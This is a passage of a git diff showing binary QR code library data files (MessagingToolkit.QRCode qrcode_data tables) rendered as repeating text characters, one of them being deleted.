!!~~}}||$$%%&&''``__^^]]6778899:gffeeddc&''(())*wvvuutts - - - a``__^^]<==>>??@0//..--,bbccddee;;::9988RRSSTTUUKKJJIIHHBBCCDDEE[[ZZYYXX22334455kkjjiihh""##$$%%{{zzyyxx(())**++\\[[ZZYY:;;<<==>cbbaa``_*++,,--.srrqqppo - ]\\[[ZZY@AABBCCD,++**))(ffgghhii77665544VVWWXXYYGGFFEEDDFFGGHHIIWWVVUUTT66778899ggffeedd&&''(())wwvvuutt,,--..//XWVUTSSR>??@@AAB_^^]]\\[.//00112onnmmllk !!"~~}}||{!!""#YXXWWVVUDEEFFGGH(''&&%%$jjkkllmm33221100ZZ[[\\]]CCBBAA@@JJKKLLMMSSRRQQPP::;;<<==ccbbaa``**++,,--ssrrqqpp~~}}||{{00112233RQQPPOONBCCDDEEF[ZZYYXXW23344556kjjiihhg"##$$%%&{zzyyxxw#$$%%&&'UTTSSRRQHIIJJKKL$##""!! nnooppqq//..--,,^^__``aa??>>==<>??@@AA__^^]]\\..//0011oonnmmll !!zzyyxxww44556677NMMLLKKJFGGHHIIJWVVUUTTS6778899:gffeeddc&''(())*wvvuutts -'(())**+QPPOONNMLMMNNOOPrrssttuu++**))((bbccddee;;::9988RRSSTTUUKKJJIIHHBBCCDDEE[[ZZYYXX22334455kkjjiihh""##$$%%vvuuoonn==>>??@@JIIHHGGFJKKLLMMNSRRQQPPO:;;<<==>cbbaa``_*++,,--.srrqqppo - +,,--../MLLKKJJIPQQRRSSTvvwwxxyy''&&%%$$ffgghhii77665544VVWWXXYYGGFFEEDDFFGGHHIIWWVVUUTT66778899ggffeedd&&''(())mmllkkjjAABBCCDDFEEDDCCBNOOPPQQRONNMMLLK>??@@AAB_^^]]\\[.//00112onnmmllk !!"~~}}||{/0011223IHHGGFFETUUVVWWXzz{{||}}##""!! jjkkllmm33221100ZZ[[\\]]CCBBAA@@JJKKLLMMSSRRQQPP::;;<<==ccbbaa``**++,,--iihhggffEEFFGGHHBAA@@??>RSSTTUUVKJJIIHHGBCCDDEEF[ZZYYXXW23344556kjjiihhg"##$$%%&{zzyyxxw34455667EDDCCBBAXYYZZ[[\~~nnooppqq//..--,,^^__``aa??>>==<>??@@AA__^^]]\\..//0011eeddccbbIIJJKKLL>==<;:98VWWXXYYZGFFEEDDCFGGHHIIJWVVUUTTS6778899:gffeeddc&''(())*wvvuutts~~}}||{7==>>??@A@@??>>=\]]^^__` - -rrssttuu++**))((bbccddee;;::9988RRSSTTUUKKJJIIHHBBCCDDEE[[ZZYYXX22334455aa``__^^MMNNOOPP77665544Z[[\\]]^CBBAA@@?JKKLLMMNSRRQQPPO:;;<<==>cbbaa``_*++,,--.srrqqppo{zzyyxxw@AABBCCD=<<;;::9`aabbccd vvwwxxyy''&&%%$$ffgghhii77665544VVWWXXYYGGFFEEDDFFGGHHIIWWVVUUTT66778899]]\\[[ZZQQRRSSYY33221100^__``aab?>>==<<;NOOPPQQRONNMMLLK>??@@AAB_^^]]\\[.//00112onnmmllk !!"wvvuuoonDEEFFGGH98877665deeffgghzz{{||}}##""!! jjkkllmm33221100ZZ[[\\]]CCBBAA@@JJKKLLMMSSRRQQPP::;;<<==YYSSRRQQZZ[[\\]]//..--,,bccddeef;::99887RSSTTUUVKJJIIHHGBCCDDEEF[ZZYYXXW23344556kjjiihhg"##$$%%&nmmllkkjHIIJJKKL54433221hiijjkkl ~~nnooppqq//..--,,^^__``aa??>>==<>??@@AAPPOONNMM^^__``aa++**))((fgghhiij76655443VWWXXYYZGFFEEDDCFGGHHIIJWVVUUTTS6778899:gffeeddc&''(())*jiihhggfLMMNNOOP100//..-lmmnnoop - - rrssttuu++**))((bbccddee;;::9988RRSSTTUUKKJJIIHHBBCCDDEELLKKJJIIbbccddee''&&%%$$jkkllmmn3221100/Z[[\\]]^CBBAA@@?JKKLLMMNSRRQQPPO:;;<<==>cbbaa``_*++,,--.feeddccbPQQRRSSY-,,++**)pqqrrsst - - vvwwxxyy''&&%%$$ffgghhii77665544VVWWXXYYGGFFEEDDFFGGHHIIHHGGFFEEffgghhii##""!! nooppqqr/..--,,+^__``aab?>>==<<;NOOPPQQRONNMMLLK>??@@AAB_^^]]\\[.//00112baa``__^YZZ[[\\])((''&&%tuuvvwwxzz{{||}}##""!! jjkkllmm33221100ZZ[[\\]]CCBBAA@@JJKKLLMMDDCCBBAAjjkkllmmrssttuuv+**))(('bccddeef;::99887RSSTTUUVKJJIIHHGBCCDDEEF[ZZYYXXW23344556^]]\\[[Z]^^__``a%$$##""!xyyzz{{| ~~nnooppqq//..--,,^^__``aa??>>==<>==nnoouuvvvwwxxyyz'&&%%$$#fgghhiij76655443VWWXXYYZGFFEEDDCFGGHHIIJWVVUUTTS6778899:ZYYSSRRQabbccdde! |}}~~ - - rrssttuu++**))((bbccddee;;::9988RRSSTTUU77665544wwxxyyzzz{{||}}~#""!! jkkllmmn3221100/Z[[\\]]^CBBAA@@?JKKLLMMNSRRQQPPO:;;<<==>QPPOONNMeffgghhi - - vvwwxxyy''&&%%$$ffgghhii77665544VVWWXXYY33221100{{||}}~~ ~nooppqqr/..--,,+^__``aab?>>==<<;NOOPPQQRONNMMLLK>??@@AABMLLKKJJIijjkkllmfpvp˂rJltpfH~pZHAbJtAr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|vXn`JXQrrd|~HfJ`ےdQZ|vXnr˂prd|Xv`fJ`ےQZ|dvXnہJXQrrd|~HfpJ`ےQZ|dvXnJXQrHr󙐂ˁf۝`v|drlJtAXv`fvnrbHAZpdrtAJvpfH˂pZZdQbtpvnbHAZpdrtAJvpfHZHAbZdQbt~fpvbHAZp˙rtAJlvpfH˂pZHZdQbtvnXbHAZp˙rtAJlvpfHpZHA`ZQXbXnvˍQtJlrd|~HfXQJ`ے˂rXQltb~f`HAbےlJtAXv`f˂rXQltb~f`ے`JXQl|ZnXv`rXQtbd~f`Abے`lJtAv`frXQtbd~f`b˂pۑpJApfH~tbAdZZdQbtpvnHAZpJ`ےJdQZ|vXn`JXQrrd|~HfJ`ےdQZ|vXnHAbےdQbt璍f~HJ`ےQZ|dvXnہJXQrrd|~HfpJ`ےQZ|dvXnۑZHAbHr󙐂ˁf۝`v|drlJtAXv`f˂rXQltbdtAJlvpfH˂pZZdQbtpvnbHAZpdrtAJvpfH`JXQrlJtArfpvbHAZp˙rtAJlvpfH˂pZHZdQbtvnXbHAZp˙rtAJlvpfHے`JX`ZQXbXnvˍQtJltJJJJJJJJJJJJJJKKKKKKKKKKKKKKKKKKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_1.dat deleted file mode 100644 index 128d06b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_1.dat +++ /dev/null @@ -1,297 +0,0 @@ -}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrpopopopoopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSSSSSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvstststststststsrqrqrqrqrpopopopoopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:77777787877777876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqrpopopopoopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:87878787878787656565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqrooooopopopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:87878787656565656565656565656543434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqropopopopooooooponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:87878787656565656565656543434343434343434343432121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqropopopoppopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSSSSSSTSTSSSSSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:987878878787876565656565656565434343434343434321212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqropopopoppopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78777777878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvststststqrqrqrqrqrqrqrqropopopoppopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:87878787878777776565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvutstststststststqrqrqrqrqrqrqrqropopopoppopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:87878787787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropoooooopopooooonmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:87878787787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSSSSSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:87878787787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrpopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTSTSTSSSSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;:9:9:9:9:9:87878787787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrpopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTSSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:87878777787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqpoppopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:77787878787878776565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"! }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqropopoooopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878777787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqroopopopopopopooonmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWVUVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrpopopopoooopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSSTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrpopopopoopopopopnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSSSSTSTSTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<9:9:9:9:9:9:9:9:78787878878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                         - - - - - - - -                 - - - - - - - -                 - - - - - - - -                  - - - - - - - -                   - - - - - - - -                 - - - - - - - - - -               - - - - - - - - - -              - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - 